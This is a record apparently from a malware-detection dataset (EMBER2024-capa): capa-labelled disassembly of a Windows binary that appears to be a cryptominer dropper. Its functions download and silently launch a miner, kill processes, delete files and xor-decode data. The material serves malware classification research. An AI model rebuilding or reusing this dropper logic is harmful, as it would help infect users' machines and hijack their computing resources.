joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404750
Capabilities:
Create directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1bc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push edi
push 0x42dfb0
mov edi, edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push str.X:.Trash_100
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0040b0a9
add esp, 0xc
lea eax, [ebp - 0x114]
push str.db_
push 0x104
push eax
call fcn.0040b381
add esp, 0xc
lea eax, [ebp - 0x114]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push esi
lea eax, [ebp - 0x114]
push 0x104
push eax
call fcn.0040b381
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
sub esp, 0xc
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x1bc]
call fcn.00402aa0
mov eax, dword [ebp + 8]
cdq
push edx
push eax
push edi
lea ecx, [ebp - 0x1bc]
call fcn.00402340
lea ecx, [ebp - 0x1b8]
call fcn.00403a50
test eax, eax
jne 0x40482f
mov eax, dword [ebp - 0x1bc]
lea ecx, [ebp - 0x1bc]
mov eax, dword [eax + 4]
add ecx, eax
mov eax, dword [ecx + 0xc]
or eax, 2
cmp dword [ecx + 0x38], 0
jne 0x404827
or eax, 4
push 0
push eax
call fcn.00401720
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ofstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x60]
mov dword [ebp + ecx - 0x1c0], eax
lea ecx, [ebp - 0x1b8]
call fcn.00402ba0
mov eax, dword [ebp - 0x1bc]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ostream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x1bc]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ebp + ecx - 0x1c0], eax
lea eax, [ebp - 0x15c]
push eax
mov dword [ebp - method.std::basic_ios_char__struct_std::char_traits_char__.virtual_0], vtable.std::ios_base.0
call fcn.0040952a
mov ecx, dword [ebp - 8]
add esp, 4
xor ecx, ebp
pop edi
mov al, 1
pop esi
call fcn.00409dff
mov esp, ebp
pop ebp
ret
Function at 0x405c40
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42dfb0
mov byte [0x42dfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004048c0
add esp, 4
test al, al
je 0x405ca5
lea ecx, [ebp - 0x110]
call fcn.00407f10
push 0xffffffffffffffff
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409dff
mov esp, ebp
pop ebp
ret

Function at 0x405cd0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x42dfb0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push 0x42dfb0
mov byte [0x42dfad], 0
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push 0
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0x104
lea edx, [ebp - 0x110]
mov ecx, str.miner_exe_name
call fcn.004048c0
add esp, 4
test al, al
je 0x405d35
lea ecx, [ebp - 0x110]
call fcn.00407f10
push 0xffffffffffffffff
push dword [0x42dfa8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x405d50
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x168
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x110]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x40
lea eax, [ebp - 0x154]
push 0
push eax
mov dword [ebp - 0x158], 0x44
call fcn.0040eac0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x128], ax
lea eax, [ebp - 0x168]
push eax
lea eax, [ebp - 0x158]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x110]
push eax
push 0
mov dword [ebp - 0x12c], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00405cd0
int3
Function at 0x406b00
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2dc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x103
lea eax, [ebp - 0x17f]
mov esi, ecx
push 0
push eax
mov byte [ebp - 0x289], dl
mov dword [ebp - 0x290], esi
mov byte [ebp - 0x180], 0
call fcn.0040eac0
mov al, byte [0x427ed0]
movq xmm0, qword [str.pgH0BwW]
add esp, 0xc
mov byte [ebp - 0x1c], al
xor eax, eax
push str.X:.Trash_100
mov dword [ebp - 0x1b], eax
mov word [ebp - 0x17], ax
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
movq qword [ebp - 0x24], xmm0
lea eax, [ebp - 0x180]
xorps xmm0, xmm0
push 0x104
push eax
movq qword [ebp - 0x13], xmm0
xor edi, edi
xor bl, bl
call fcn.0040b0a9
add esp, 0xc
lea eax, [ebp - 0x180]
push 0x4279cc
push 0x104
push eax
call fcn.0040b381
add esp, 0xc
lea eax, [ebp - 0x180]
push str.notafile.exe
push 0x104
push eax
call fcn.0040b381
lea edx, [ebp - 0x24]
add esp, 0xc
lea ecx, [edx + 1]
lea esp, [esp]
mov al, byte [edx]
inc edx
test al, al
jne 0x406bd0
lea eax, [ebp - 0x14]
sub edx, ecx
push 0x10
push eax
lea ecx, [ebp - 0x24]
call fcn.00404a90
mov al, byte [ebp - 0x289]
add esp, 8
test al, al
jne 0x406bf8
mov bl, 1
jmp 0x406c46
cmp al, 1
jne 0x406c46
lea eax, [ebp - 0x34]
push 0x104
push eax
mov edx, str.version
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406c46
push str.0049
call fcn.0040ba02
mov esi, eax
add esp, 4
lea eax, [ebp - 0x34]
push eax
call fcn.0040ba02
movzx ebx, bl
add esp, 4
cmp eax, esi
mov esi, dword [ebp - 0x290]
mov ecx, 1
cmovg ebx, ecx
lea eax, [ebp - 0x288]
push 0x104
push eax
mov edx, str.link
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406d5e
lea eax, [ebp - 0x78]
push 0x40
push eax
mov edx, str.encryption_key
mov ecx, esi
call fcn.004072a0
add esp, 8
test al, al
je 0x406d5e
test bl, bl
je 0x406d5e
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b30
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
test al, al
jne 0x406cdb
lea esp, [esp]
lea eax, [edi + 1]
lea edi, [edi + 2]
cmp eax, 0xa
jge 0x406d76
push 0x927c0
call esi
lea edx, [ebp - 0x180]
lea ecx, [ebp - 0x288]
call fcn.00407b30
test al, al
je 0x406cb0
push ecx
lea edx, [ebp - 0x14]
lea ecx, [ebp - 0x180]
call fcn.00408840
add esp, 4
test eax, eax
jne 0x406d6f
cmp byte [ebp - 0x78], al
je 0x406d04
lea edx, [ebp - 0x78]
lea ecx, [ebp - 0x180]
call fcn.00404b70
push 0x40
lea eax, [ebp - 0x2d4]
push 0
push eax
mov dword [ebp - 0x2d8], 0x44
call fcn.0040eac0
add esp, 0xc
xor eax, eax
mov word [ebp - 0x2a8], ax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2d8]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x180]
push eax
push 0
mov dword [ebp - 0x2ac], 0x81
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x406d7b
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
push 0x3a98
call esi
call fcn.00405d50
call fcn.00405cd0
int3
Function at 0x407b30
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5fc
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, ecx
push str.http:__
push edi
mov dword [ebp - 0x5f8], edx
call fcn.0040b570
mov esi, eax
add esp, 8
test esi, esi
je 0x407b67
add esi, 7
jmp 0x407b69
mov esi, edi
push 0x428228
push esi
call fcn.0040b570
add esp, 8
test eax, eax
je 0x407c38
push 0x428228
push esi
call fcn.0040b570
sub eax, esi
push eax
push esi
lea eax, [ebp - 0x48]
push 0x40
push eax
call fcn.0040b8ac
push 0x428228
push esi
call fcn.0040b570
push eax
lea eax, [ebp - 0x1f0]
push 0x104
push eax
call fcn.0040b0a9
add esp, 0x2c
lea eax, [ebp - 0x5f0]
push 0
push 1
push 0x400
push eax
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407490
add esp, 0x10
test al, al
je 0x407c38
push ecx
lea eax, [ebp - 0xe8]
push eax
lea ecx, [ebp - 0x5f0]
call fcn.004073d0
add esp, 8
test al, al
je 0x407c38
lea eax, [ebp - 0xe8]
push eax
call fcn.0040ba02
add esp, 4
mov ebx, eax
push ebx
call fcn.00409872
add esp, 4
mov esi, eax
push 1
push 0
push ebx
push esi
lea edx, [ebp - 0x1f0]
lea ecx, [ebp - 0x48]
call fcn.00407490
add esp, 0x10
test al, al
jne 0x407c4b
push esi
call fcn.0040b0a4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409dff
mov esp, ebp
pop ebp
ret
push 0x20
lea edx, [ebp - 0x68]
mov ecx, str.heur_check
call fcn.004048c0
add esp, 4
mov byte [ebp - 0x5f1], al
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push dword [ebp - 0x5f8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
je 0x407c2f
xor ecx, ecx
cmp byte [ebp - 0x5f1], cl
push 0
lea eax, [ebp - 0x5fc]
cmovne eax, ecx
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call fcn.0040b0a4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
Function at 0x407de0
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x354
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov eax, ecx
push edi
push eax
mov dword [ebp - 0x34c], eax
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b0a9
push 0x428248
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b381
push 0x427c40
lea eax, [ebp - 0x108]
push 0x100
push eax
call fcn.0040b381
add esp, 0x24
lea eax, [ebp - 0x348]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp eax, 0xffffffff
je 0x407ef8
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0x12
je 0x407ef8
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop
cmp byte [ebp - 0x31c], 0x2e
je 0x407ede
push dword [ebp - 0x34c]
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b0a9
push 0x4279cc
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b381
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x208]
push 0x100
push eax
call fcn.0040b381
add esp, 0x24
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0
call edi
lea eax, [ebp - 0x348]
push eax
push dword [ebp - 0x350]
call ebx
call esi
cmp eax, 0x12
jne 0x407e80
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret

Function at 0x407f10
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov dword [ebp - 0x134], ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x130]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp eax, 1
jne 0x407fee
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
jne 0x407fee
jmp 0x407f80
mov eax, dword [ebp - 0x134]
lea ecx, [ebp - 0x10c]
lea esp, [esp]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x407fb0
test dl, dl
je 0x407fac
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x407fb0
add ecx, 2
add eax, 2
test dl, dl
jne 0x407f90
xor eax, eax
jmp 0x407fb5
sbb eax, eax
or eax, 1
test eax, eax
jne 0x407fdf
push dword [ebp - 0x128]
push eax
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
push 0xd
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
lea eax, [ebp - 0x130]
push eax
push edi
call ebx
cmp eax, 1
je 0x407f80
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
Function at 0x408010
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408043
sub eax, edx
inc eax
push eax
call fcn.00409872
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408060
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b0a9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x408177
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x408177
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4080b0
sub ecx, esi
je 0x4080e3
jmp 0x4080c0
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x4080d0
cmp al, 0x5a
jg 0x4080d0
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4080d6
sub eax, esi
cmp edx, eax
jb 0x4080c0
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4080f0
sub ecx, esi
je 0x40812f
jmp 0x408100
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x408118
cmp al, 0x5a
jg 0x408118
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408122
sub ecx, esi
cmp edx, ecx
jb 0x408100
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408157
test dl, dl
je 0x408153
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408157
add eax, 2
add ecx, 2
test dl, dl
jne 0x408137
xor eax, eax
jmp 0x40815c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40819a
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x4080a3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b0a4
add esp, 4
xor al, al
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409dff
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b0a4
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
pop edi
pop esi
mov al, 1
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
Function at 0x4081c0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4081f3
sub eax, edx
inc eax
push eax
call fcn.00409872
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408210
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040b0a9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x408327
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x408327
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x408260
sub ecx, esi
je 0x408293
jmp 0x408270
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x408280
cmp al, 0x5a
jg 0x408280
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408286
sub eax, esi
cmp edx, eax
jb 0x408270
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4082a0
sub ecx, esi
je 0x4082df
jmp 0x4082b0
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x4082c8
cmp al, 0x5a
jg 0x4082c8
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4082d2
sub ecx, esi
cmp edx, ecx
jb 0x4082b0
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x408307
test dl, dl
je 0x408303
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x408307
add eax, 2
add ecx, 2
test dl, dl
jne 0x4082e7
xor eax, eax
jmp 0x40830c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40834b
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x408253
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040b0a4
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00409dff
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040b0a4
add esp, 4
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
mov esp, ebp
pop ebp
ret
Function at 0x408b40
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x30
lea eax, [ebp - 0x50]
push 0
push eax
call fcn.0040eac0
mov eax, dword [0x42dfc8]
add esp, 0xc
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x50], 0x30
mov dword [ebp - 0x48], 0x408b10
mov dword [ebp - 0x28], str.EmptyClass
call dword [sym.imp.USER32.dll_RegisterClassExA]
push 0
push dword [0x42dfc8]
push 0
push 0
push 0
push SysReAllocString
push 0
push SysReAllocString
push 0xcf0000
push str.Dont_beat_me__I_am_a_child___
push dword [ebp - 0x28]
push 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
push 5
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
mov ebx, dword [sym.imp.USER32.dll_GetMessageA]
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
je 0x408c0c
mov esi, dword [sym.imp.USER32.dll_TranslateMessage]
mov edi, dword [sym.imp.USER32.dll_DispatchMessageA]
lea eax, [ebp - 0x20]
push eax
call esi
lea eax, [ebp - 0x20]
push eax
call edi
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call ebx
test eax, eax
jne 0x408be6
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x419eb5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42b6dc]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0040ed6a
mov dword [ebp - 0x14], eax
cmp dword [0x42df40], edi
jne 0x419fa6
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x419f33
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41a086
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41a086
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41a086
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x42df40], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x42df44], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x42df48], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42df50], eax
test eax, eax
je 0x419fa3
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42df4c], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x419fcb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x419fbe
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x419fe0
push 4
pop eax
jmp 0x41a088
cmp dword [ebp - 0x14], edi
je 0x419fe0
push dword [0x42df40]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x419fc5
mov eax, dword [0x42df4c]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41a03e
cmp dword [0x42df50], esi
je 0x41a03e
push eax
call ebx
push dword [0x42df50]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41a03e
test eax, eax
je 0x41a03e
call ecx
test eax, eax
je 0x41a033
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41a033
test byte [ebp - 8], 1
jne 0x41a03e
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41a06e
mov eax, dword [0x42df44]
cmp eax, esi
je 0x41a06b
push eax
call ebx
test eax, eax
je 0x41a06b
call eax
mov edi, eax
test edi, edi
je 0x41a06b
mov eax, dword [0x42df48]
cmp eax, esi
je 0x41a06b
push eax
call ebx
test eax, eax
je 0x41a06b
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x42df40]
call ebx
test eax, eax
je 0x41a086
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41a088
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409dff
leave
ret
Function at 0x41cbd3
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0041420e
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x41cc0b
xor eax, eax
jmp 0x41cc37
cmp esi, dword [ebp - 4]
je 0x41cc34
cmp dword [ebp + 0xc], 0
je 0x41cc34
push dword [edi + 0x9c]
call fcn.0041c7e1
push dword [edi + 0x9c]
mov esi, eax
call fcn.0040f117
pop ecx
pop ecx
cmp esi, eax
je 0x41cc07
xor eax, eax
inc eax
pop edi
pop esi
leave
ret

Function at 0x43b659
Capabilities:
Encode data using xor

Disassembly:
mov esi, 0x43b3c1
add ecx, 0x738b7cef
call fcn.0043b68e
sub ecx, 0x5f46487a
xor dword [edx], esi
sub edi, 0x93baf7be
sub edi, edi
sub edi, ecx
inc edx
dec edi
sub edi, edi
cmp edx, eax
jne fcn.0043b659
and ecx, edi
add edi, 0x5f4d9f90
ret